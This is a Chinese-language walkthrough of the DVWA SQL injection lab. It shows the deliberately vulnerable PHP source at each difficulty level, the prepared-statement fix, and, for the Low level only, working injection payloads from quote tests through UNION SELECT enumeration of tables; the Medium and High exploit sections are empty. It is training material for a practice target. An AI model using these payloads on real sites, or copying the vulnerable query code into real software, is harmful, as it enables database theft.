DVWA之SQL Injecion

前言

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

手工注入的基本步骤

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 下载数据

Low

核心代码

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<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。

漏洞利用

现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤是建立在无法看到源码的基础上。

  1. 判断是否存在注入,注入是字符型还是数字型
    输入 1 ,查询成功
    ![](DVWA之SQL Injecion/SI1.jpg)

输入 1' and '1'='2,查询失败,
![](DVWA之SQL Injecion/SI2.jpg)

输入 1' or '1234'='1234,查询成功,返回多个结果
![](DVWA之SQL Injecion/SI3.jpg)

说明存在字符型注入。

  1. 猜解SQL查询语句中的字段数
    输入1' or 1=1 order by 1 #,查询成功:
    ![](DVWA之SQL Injecion/SI4.jpg)

输入1' or 1=1 order by 3 #,查询失败:
![](DVWA之SQL Injecion/SI5.jpg)

输入1' or 1=1 order by 2 #,查询成功:
![](DVWA之SQL Injecion/SI6.jpg)

说明执行的SQL查询语句中只有两个字段,即这里的First nameSurname

  1. 确定显示的字段顺序
    输入1’ union select 1,2 #,查询成功:
    ![](DVWA之SQL Injecion/SI7.jpg)

说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

  1. 获取当前数据库
    输入1' union select 1,database() #,查询成功:
    ![](DVWA之SQL Injecion/SI8.jpg)

说明当前的数据库为dvwa。

  1. 获取数据库中的表
    输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#,查询成功:
    ![](DVWA之SQL Injecion/SI9.jpg)

说明数据库dvwa中一共有两个表,guestbookusers

  1. 获取表中的字段名

Medium

核心代码

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 <?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

漏洞利用

High

核心代码

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<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

漏洞利用

Impossible

核心代码

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if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>